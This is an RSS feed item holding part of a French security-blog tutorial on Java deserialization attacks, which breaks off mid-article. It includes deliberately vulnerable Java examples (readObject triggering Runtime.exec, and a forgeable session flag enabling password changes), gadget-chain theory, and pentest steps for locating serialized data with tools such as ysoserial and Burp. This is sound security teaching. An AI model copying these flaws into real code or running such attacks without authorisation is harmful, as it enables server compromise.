<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>tool - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/tag/tool/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/tag/tool/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Wed, 07 Jul 2021 15:22:12 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>tool - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/en/tag/tool/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Techniques et outils d’attaque sur les moteurs de désérialisation (Java)</title>
		<link>https://www.riskinsight-wavestone.com/en/2019/07/techniques-outils-deserialisation-java/</link>
		
		<dc:creator><![CDATA[Bilal Benseddiq]]></dc:creator>
		<pubDate>Wed, 10 Jul 2019 09:00:29 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[outil]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[sérialisation]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15728</guid>

					<description><![CDATA[<p>Introduction La sérialisation consiste à transformer un objet applicatif en un format de données pouvant être restauré ultérieurement. Ce procédé est utilisé pour sauvegarder des objets ou les envoyer dans le cadre de communications. &#160; Exemple de sérialisation d&#8217;une variable...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/07/techniques-outils-deserialisation-java/">Techniques et outils d’attaque sur les moteurs de désérialisation (Java)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<figure id="post-15730 media-15730" class="align-none"><img fetchpriority="high" decoding="async" class="aligncenter wp-image-15730 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1.png" alt="" width="640" height="155" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1-437x106.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1-71x17.png 71w" sizes="(max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div style="text-align: justify;">
<h1>Introduction</h1>
</div>
<div style="text-align: justify;">La sérialisation consiste à transformer un objet applicatif en un format de données pouvant être restauré ultérieurement. Ce procédé est utilisé pour sauvegarder des objets ou les envoyer dans le cadre de communications.</div>
<div style="text-align: justify;"></div>
<figure id="post-15732 media-15732" class="align-none"><img decoding="async" class="aligncenter wp-image-15732 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2.png" alt="" width="640" height="314" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2-389x191.png 389w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2-71x35.png 71w" sizes="(max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
<div style="text-align: justify;">Exemple de sérialisation d&#8217;une variable de type <i>String</i> en Java:</div>
<div></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc11">String</span> <span class="sc11">name</span> <span class="sc10">=</span> <span class="sc6">&#8220;Wavestone&#8221;</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">FileOutputStream</span> <span class="sc11">file</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">FileOutputStream</span><span class="sc10">(</span><span class="sc6">&#8220;file.bin&#8221;</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ObjectOutputStream</span> <span class="sc11">out</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectOutputStream</span><span class="sc10">(</span><span class="sc11">file</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">out</span><span class="sc10">.</span><span class="sc11">writeObject</span><span class="sc10">(</span><span class="sc11">name</span><span class="sc10">);</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le fichier <b>file.bin</b> contenant l’objet name sérialisé a cette forme :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">AC ED 00 05 74 00 09 <span class="w-grepped">57 61 76 65 73 74 6f 6e 65</span> &#8230;.t..<span class="w-grepped">Wavestone</span></span></div>
<div style="text-align: justify;"></div>
<ul>
<li>La chaîne commence par “<b>AC ED</b>” – il s’agit du code hexadécimal identifiant la donnée sérialisée, toutes les données sérialisées commencent par cette valeur.</li>
<li>Le protocole de sérialisation version “<b>00 05</b>”.</li>
<li>Le type de variable String est identifié par le code “<b>74</b>”.</li>
<li>Puis la taille de la variable “<b>00 09</b>”.</li>
<li>Et finalement la variable en elle-même.</li>
</ul>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La désérialisation est l&#8217;inverse de ce processus, prenant des données structurées à partir d&#8217;un format et les reconstruisant en un objet. Le format de données le plus répandu pour la sérialisation des données est JSON (dans le passé, le format XML était majoritaire).</div>
<div style="text-align: justify;">Pour reprendre l’exemple en Java sus-cité :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code"><span class="w-code"><span class="sc11">FileInputStream</span> <span class="sc11">file</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">FileInputStream</span><span class="sc10">(</span><span class="sc6">&#8220;file.bin&#8221;</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ObjectInputStream</span> <span class="sc11">out</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectInputStream</span><span class="sc10">(</span><span class="sc11">file</span><span class="sc10">);</span></span></span><span class="w-code"><span class="sc11">name</span> <span class="sc10">=</span> <span class="sc10">(</span><span class="sc11">String</span><span class="sc10">)</span><span class="sc11">out</span><span class="sc10">.</span><span class="sc11">readObject</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">System</span><span class="sc10">.</span><span class="sc11">out</span><span class="sc10">.</span><span class="sc11">println</span><span class="sc10">(</span><span class="sc11">name</span><span class="sc10">);</span></span></div>
<div style="text-align: justify;">Le résultat dans la console sera donc</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">Wavestone</span></div>
<div></div>
<div style="text-align: justify;">La fonction <i>readObject </i>est appelée pour désérialiser l&#8217;objet (à l&#8217;aide de <i>ObjectInputStream</i>) &#8211; et le convertir en String.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La désérialisation a de multiples cas d’usage pour les développeurs, par exemple (ici en Java) :</div>
<div style="text-align: justify;">
<ul>
<li>Désérialiser un objet “<i>SQLConnection</i>” pour se connecter à une base de données</li>
<li>Désérialiser un objet “<i>User</i>” pour récupérer des informations stockées dans une base de données en exécutant des requêtes SQL spécifiques</li>
<li>Désérialiser un objet “<i>LogFile</i>” pour restaurer les données précédemment enregistrées sur un profil utilisateur</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><b>De nombreux langages de programmation offrent une capacité native de sérialisation</b> des objets. Ces formats natifs offrent généralement davantage de fonctionnalités que JSON ou XML, y compris la personnalisation du processus de sérialisation.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Malheureusement, les fonctionnalités de ces <b>mécanismes de désérialisation natifs peuvent être détournées à des fins malveillantes</b> lorsque la donnée à désérialiser est en fait une charge utile forgée spécifiquement par un attaquant pour être interprété comme du code à exécuter.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Les attaques contre les moteurs de désérialisation permettent notamment des attaques par <b>déni de service</b>, de <b>contournement de contrôle d&#8217;accès</b> et <b>d&#8217;exécution de code à distance</b> (RCE).</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h2>Exemple d’attaque : RCE</h2>
</div>
<div style="text-align: justify;">Cet exemple de code récupère un paramètre appelé <i>csrfValue</i>, qui est un jeton anti-CSRF présent sur une application web, envoyé à l’application sous forme de paramètre HTTP GET.</div>
<div style="text-align: justify;">Pour cela, le paramètre est récupéré sous forme de String puis converti en <i>ByteArrayInputStream </i>et lu via la fonction <i>readObject</i>() pour être désérialisé.</div>
<div></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc11">String</span> <span class="sc11">parameterValue</span> <span class="sc10">=</span> <span class="sc11">request</span><span class="sc10">.</span><span class="sc11">getParameter</span><span class="sc10">(</span><span class="sc6">&#8220;csrfValue&#8221;</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">byte</span><span class="sc10">[]</span> <span class="sc11">csrfBytes</span> <span class="sc10">=</span><span class="sc11">DatatypeConverter</span><span class="sc10">.</span><span class="sc11">parseBase64Binary</span><span class="sc10">(</span><span class="sc11">parameterValue</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ByteArrayInputStream</span> <span class="sc11">bis</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ByteArrayInputStream</span><span class="sc10">(</span><span class="sc11">csrfBytes</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ObjectInput</span> <span class="sc11">in</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectInputStream</span><span class="sc10">(</span><span class="sc11">bis</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">csrfToken</span> <span class="sc10">=</span> <span class="sc10">(</span><span class="sc11">CSRF</span><span class="sc10">)</span><span class="sc11">in</span><span class="sc10">.</span><span class="sc11">readObject</span><span class="sc10">();</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Cette fonction est <b>potentiellement vulnérable</b>: en effet, la fonction <i>readObject</i>() est appelé sur des valeurs <b>envoyées par l’utilisateur</b> en tant que paramètre <i>csrfValue </i>de la requête HTTP.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">En effet, la fonction <i>readObject</i>() a pour spécificité de pouvoir être implémentée dans les classes <i>Serializable </i>qui en ont besoin pour lire un objet sérialisé.</div>
<div style="text-align: justify;">Imaginons par exemple que la classe CSRF vue plus haut contienne pour une raison obscure ce morceau de code :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc16">public</span> <span class="sc16">class</span> <span class="sc11">CSRF</span> <span class="sc5">implements</span> <span class="sc11">Serializable</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc11">String</span> <span class="sc11">command</span> <span class="sc10">=</span> <span class="sc6">&#8220;ls&#8221;</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc16">void</span> <span class="sc11">execCommand</span><span class="sc10">(){</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc11">Runtime</span><span class="sc10">.</span><span class="sc11">getRuntime</span><span class="sc10">().</span><span class="sc11">exec</span><span class="sc10">(</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">command</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">private</span> <span class="sc16">void</span> <span class="sc11">readObject</span><span class="sc10">(</span><span class="sc11">java</span><span class="sc10">.</span><span class="sc11">io</span><span class="sc10">.</span><span class="sc11">ObjectInputStream</span> <span class="sc11">in</span><span class="sc10">)</span> <span class="sc5">throws</span> <span class="sc11">IOException</span><span class="sc10">,</span> <span class="sc11">ClassNotFoundException</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">execCommand</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">L’attaquant n’aurait qu’à forger un objet CSRF sérialisé (récupéré par le code plus haut dans <i>csrfValue</i>) contenant un paramètre command contenant la commande de son choix pour exécuter du code arbitrairement sur le serveur.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">En effet :</div>
<div style="text-align: justify;">
<ul>
<li><i>ObjectInputStream </i>ne vérifie pas quelle classe est désérialisée</li>
<li>Il n’y a pas de liste blanche ou noire de classes autorisées à être désérialisées</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Ce cas de figure très facile à exploiter d’une implémentation de <i>readObject</i>() exécutant directement du code est toutefois très rare dans la réalité.</div>
<div style="text-align: justify;">Ce qui arrive le plus fréquemment est que l’attaquant trouve une fonction ou une classe vulnérable à la modification de ses paramètres, qui peut appeler une autre fonction ou instancier une autre classe dans son périmètre d’exécution.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Les classes et fonctions disponibles dans le périmètre d’exécution d’une application sont appelées « <b>gadget </b>». Suite à l’envoi d’une charge malveillante à un premier gadget appelé « <b>kick-off gadget</b> », une chaîne d’appels et d’invocation est lancée jusqu’à tomber sur un gadget qui est vulnérable à l’exécution de code arbitraire, appelé « <b>sink gadget </b>» :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15734 media-15734" class="align-none"><img decoding="async" class="aligncenter wp-image-15734 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3.png" alt="" width="640" height="218" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3-437x149.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3-71x24.png 71w" sizes="(max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">De nombreux sink gadget existent dans les librairies de sérialisation/désérialisation standard, notamment :</div>
<div style="text-align: justify;">
<ul>
<li><b>Spring AOP </b>(dévoilé par Wouter Coekaerts en 2011)</li>
<li><b>Commons-ﬁleupload </b>(dévoilé par Arun Babu Neelicattu en 2013)</li>
<li><b>Groovy </b>(dévoilé par cpnrodzc7 / @frohoff en 2015)</li>
<li><b>Apache Commons-Collections</b> (dévoilé par @frohoff et @gebl en 2015)</li>
<li><b>Spring Beans</b> (dévoilé par @frohoff et @gebl en 2015)</li>
<li><b>Serial DoS</b> (dévoilé par Wouter Coekaerts en 2015)</li>
<li><b>SpringTx</b> (dévoilé par @zerothinking en 2016)</li>
<li><b>JDK7</b> (dévoilé par @frohoff en 2016)</li>
<li><b>Beanutils</b> (dévoilé par @frohoff en 2016)</li>
<li><b>Hibernate, MyFaces, C3P0, net.sf.json, ROME</b> (dévoilé par M. Bechler en 2016)</li>
<li><b>Beanshell </b>(dévoilé par @pwntester et @cschneider4711 en 2016)</li>
<li><b>JDK7 Rhino </b>(dévoilé par @matthias_kaiser en 2016)</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Des <b>outils générant des charges utiles spécialement conçues pour attaquer des gadgets</b> affectés par des vulnérabilités publiques dans les librairies les plus utilisées existent, notamment le très complet <b>ysoserial</b>, développé par Frohoff : <a href="https://github.com/frohoff/ysoserial">https://github.com/frohoff/ysoserial</a>.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h2>Exemple d’attaque : Compromission de compte utilisateur</h2>
</div>
<div style="text-align: justify;">Si un attaquant contrôle les données qui sont désérialisée par une application, il a alors une influence sur les variables en mémoire et les objets applicatifs. Il peut alors influencer le flux de code utilisant ces variables et ces objets.</div>
<div style="text-align: justify;">Voyons un exemple d’attaque sur un morceau de code utilisant la désérialisation en Java :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="w-code"><span class="sc16">public</span> <span class="sc16">class</span> <span class="sc11">Session</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc11">String</span> <span class="sc11">username</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc16">boolean</span> <span class="sc11">loggedIn</span><span class="sc10">;</span></span></span><span class="w-code"><span class="sc16">public</span> <span class="sc16">void</span> <span class="sc11">loadSession</span><span class="sc10">(</span><span class="sc16">byte</span><span class="sc10">[]</span> <span class="sc11">sessionData</span><span class="sc10">)</span> <span class="sc5">throws</span> <span class="sc11">Exception</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">ObjectInputStream</span> <span class="sc11">ois</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectInputStream</span><span class="sc10">(</span><span class="sc5">new</span> <span class="sc11">ByteArrayInputStream</span><span class="sc10">(</span><span class="sc11">sessionData</span><span class="sc10">));</span><span class="sc0"><br />
</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">username</span> <span class="sc10">=</span> <span class="sc11">ois</span><span class="sc10">.</span><span class="sc11">readUTF</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">loggedIn</span> <span class="sc10">=</span> <span class="sc11">ois</span><span class="sc10">.</span><span class="sc11">readBoolean</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La méthode <i>loadSession </i>accepte un tableau d’octets en tant que paramètre et désérialise une chaîne et un booléen de ce tableau d&#8217;octets dans les propriétés <i>username </i>et <i>loggedIn </i>de l&#8217;objet.</div>
<div style="text-align: justify;">Si un attaquant peut contrôler le contenu du tableau d’octets <i>sessionData </i>transmis à cette méthode, il peut alors contrôler les propriétés de cet objet : <i>username </i>et <i>loggedIn</i>.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Voici un exemple d&#8217;utilisation de cet objet <i>Session </i>dans une fonction de changement de mot de passe :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc16">public</span> <span class="sc16">class</span> <span class="sc11">UserSettingsController</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc16">void</span> <span class="sc11">updatePassword</span><span class="sc10">(</span><span class="sc11">Session</span> <span class="sc11">session</span><span class="sc10">,</span> <span class="sc11">String</span> <span class="sc11">newPassword</span><span class="sc10">)</span> <span class="sc5">throws</span> <span class="sc11">Exception</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc5">if</span><span class="sc10">(</span><span class="sc11">session</span><span class="sc10">.</span><span class="sc11">loggedIn</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">UserModel</span><span class="sc10">.</span><span class="sc11">updatePassword</span><span class="sc10">(</span><span class="sc11">session</span><span class="sc10">.</span><span class="sc11">username</span><span class="sc10">,</span> <span class="sc11">newPassword</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span> <span class="sc5">else</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc5">throw</span> <span class="sc5">new</span> <span class="sc11">Exception</span><span class="sc10">(</span><span class="sc6">&#8220;Error: User not logged in.&#8221;</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Si le paramètre <i>loggedIn </i>de l’objet session vaut 1, le mot de passe de l&#8217;utilisateur dont le <i>username </i>correspond au paramètre idoine de l’objet session est mis à jour avec la valeur <i>newPassword </i>donnée.</div>
<div style="text-align: justify;">Ici, si l’attaquant peut contrôler le contenu du tableau d’octets <i>sessionData </i>alors il pourrait changer le mot de passe de n’importe quel utilisateur !</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">C’est un exemple simple de « <b>Property Oriented Programming Gadget</b> », un morceau de code sur lequel l’attaquant peut agir non pas en direct mais via les propriétés d’un objet.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Un point important à retenir de cet exemple est qu&#8217;<b>un exploit de désérialisation n&#8217;implique pas forcément l&#8217;envoi de classes ou de code</b> au serveur à exécuter.</div>
<div style="text-align: justify;">L’attaquant envoie simplement des données qui seront intégrées dans propriétés des classes dont le serveur a déjà connaissance afin de manipuler le code existant traitant de ces propriétés.</div>
<div style="text-align: justify;"><b>Un exploit réussi repose donc énormément sur la connaissance du code</b> qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h1>Après la théorie, la pratique</h1>
</div>
<div style="text-align: justify;">Maintenant que vous savez tout (ou presque) sur la sérialisation/désérialisation Java et ses faiblesses, passons à la pratique :</div>
<div style="text-align: justify;">
<ol>
<li>Comment <b>trouver les fonctions utilisant la désérialisation</b> lors d’un test d&#8217;intrusion web et les librairies utilisées ?</li>
<li>Comment <b>attaquer ces fonctions</b> et potentiellement réussir à exécuter du code sur le serveur ?</li>
</ol>
</div>
<div style="text-align: justify;">
<h2>Trouver les fonctions à attaquer</h2>
</div>
<div style="text-align: justify;">
<h3>Méthode 1 : A la main, pour plus de finesse</h3>
</div>
<div style="text-align: justify;">La première étape de l’audit consiste à identifier l’utilisation de la désérialisation dans l’application auditée. Pour cela, différentes méthodes sont possibles :</div>
<div style="text-align: justify;">
<ul>
<li><b>Chercher la séquence hexadécimale</b> suivante dans les transactions (capturées par burp) entre votre machine et le serveur : <i>0xAC ED</i>.
<ul>
<li>Cette séquence de 2 octets est appelée « <b>magic number</b> » et est présente au début de chaque objet sérialisé. Elle est suivie du numéro de version, souvent 00 05.</li>
<li>Attention : Parfois, les objets sérialisés sont en plus encodés en base64, la séquence <i>0xAC ED</i> devient alors <i>rO0</i></li>
</ul>
</li>
</ul>
<ul>
<li><b>Chercher des noms de classes Java</b> dans les transactions, tels que <i>java.rmi.dgc.Lease</i>.
<ul>
<li>Dans certains cas, les noms de classe Java peuvent apparaître dans un autre format commençant par un « <b>L</b> », se terminant par un « <b>;</b> » et utilisant des barres obliques pour séparer les parties de l&#8217;espace de noms et le nom de la classe (par exemple, &#8220;<i>Ljava / rmi / dgc / VMID;&#8221;</i>).</li>
<li>En raison de la spécification du format de sérialisation, d&#8217;autres chaînes peuvent être présentes, telles que &#8220;<b>sr</b>&#8221; pouvant représenter un objet (TC_OBJECT) suivi de sa description de classe (TC_CLASSDESC) ou &#8220;<b>xp</b>&#8221; pouvant indiquer la fin des annotations de classe, (TC_ENDBLOCKDATA) pour une classe qui n&#8217;a pas de super classe (TC_NULL).</li>
</ul>
</li>
</ul>
<ul>
<li><b>Chercher l&#8217;entête Content-Type </b>suivant : application/x-java-serialized-object</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Après avoir identifié l&#8217;utilisation de données sérialisées, il faut <b>identifier l’offset dans ces données où il est possible d’injecter une charge utile</b>.</div>
<div style="text-align: justify;">La cible doit appeler <i>ObjectInputStream.readObject</i> pour désérialiser et instancier un objet. Toutefois, elle peut appeler d&#8217;autres méthodes de <i>ObjectInputStream</i>, telles que <i>readInt </i>qui lira simplement un entier à 4 octets dans le stream. La méthode <i>readObject </i>lit les types de contenu suivants à partir d&#8217;un flux de sérialisation :</div>
<div style="text-align: justify;">
<ul>
<li>0x70 – TC_NULL</li>
<li>0x71 – TC_REFERENCE</li>
<li>0x72 – TC_CLASSDESC</li>
<li>0x73 – TC_OBJECT</li>
<li>0x74 – TC_STRING</li>
<li>0x75 – TC_ARRAY</li>
<li>0x76 – TC_CLASS</li>
<li>0x7B – TC_EXCEPTION</li>
<li>0x7C – TC_LONGSTRING</li>
<li>0x7D – TC_PROXYCLASSDESC</li>
<li>0x7E – TC_ENUM</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Dans les cas les plus simples, la première chose lue dans le flux de sérialisation est directement l’objet à désérialiser, et nous pouvons donc insérer notre charge directement après l&#8217;en-tête de sérialisation à 4 octets.</div>
<div style="text-align: justify;">Nous pouvons identifier ces cas en regardant les cinq premiers octets du flux de sérialisation. <b>Si ces cinq octets sont un en-tête de sérialisation à quatre octets</b> (0xAC ED 00 05) <b>suivi d&#8217;une des valeurs répertoriées ci-dessus</b>, nous pouvons attaquer la cible en envoyant notre propre en-tête de sérialisation à quatre octets suivis d&#8217;un objet malveillant (la charge).</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Dans d&#8217;autres cas, l&#8217;en-tête de sérialisation à quatre octets sera <b>probablement suivi d&#8217;un élément TC_BLOCKDATA</b> (0x77) <b>ou d&#8217;un élément TC_BLOCKDATALONG</b> (0x7A). Le premier consiste en un unique octet suivi des données de bloc et le second consiste en quatre octets suivi des données de bloc.</div>
<div style="text-align: justify;">Si les données sont suivies de l&#8217;un des types d&#8217;élément pris en charge par <i>readObject</i>, nous pouvons alors injecter une charge utile après les données de bloc.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Nick Bloor a écrit un outil, <b><a href="https://github.com/NickstaDB/SerializationDumper" target="_blank" rel="noopener">SerializationDumper</a></b>, qui permet de faciliter cette analyse. Voici un exemple d’utilisation :</div>
<div style="text-align: justify;">
<figure id="post-15736 media-15736" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15736 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4.png" alt="" width="574" height="198" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4.png 574w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4-437x151.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4-71x24.png 71w" sizes="auto, (max-width: 574px) 100vw, 574px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">Dans cet exemple, le flux contient un TC_BLOCKDATA suivi d&#8217;un TC_STRING qui peut être remplacé par une charge utile.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Méthode 2 : Automatiquement pour plus d&#8217;exhaustivité</h3>
</div>
<div style="text-align: justify;">Pour détecter des fonctions utilisant la désérialisation de façon <b>automatisée</b>, il est aussi possible d’utiliser l’extension <b><a href="https://github.com/federicodotta/Java-Deserialization-Scanner/" target="_blank" rel="noopener">Burp Java Deserialization Scanner</a></b> en tant que scanner passif, scanner actif, ou pour tester une fonction précise.</div>
<div style="text-align: justify;">Les librairies vulnérables actuellement prises en charge par l’outil sont :</div>
<div style="text-align: justify;">
<ul>
<li>Apache Commons Collections 3 (up to 3.2.1)</li>
<li>Apache Commons Collections 4 (up to 4.4.0)</li>
<li>Spring (up to 4.2.2)</li>
<li>Java 6 and Java 7 (up to Jdk7u21)</li>
<li>Hibernate 5</li>
<li>JSON</li>
<li>Rome</li>
<li>Java 8 (up to Jdk8u20)</li>
<li>Apache Commons BeanUtils</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Pour utiliser la fonction de scanner passif ou actif, il suffit d’aller dans l’onglet correspondant de Burp et attendre l’apparition d’éventuelles vulnérabilités :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15738 media-15738" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15738 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5.png" alt="" width="640" height="293" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5-417x191.png 417w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5-71x33.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Pour tester une fonction précise, il faut dans un premier temps intercepter une requête dans Burp, puis réaliser un clic droit et l’envoyer à Java DS :</div>
<div style="text-align: justify;">
<figure id="post-15740 media-15740" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15740 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6.png" alt="" width="400" height="290" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6-263x191.png 263w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6-54x39.png 54w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<p>L’outil permet de déterminer les charges utiles (gadgets) qui semblent fonctionner, donc de deviner les librairies utilisées par l’application pour la désérialisation:</p>
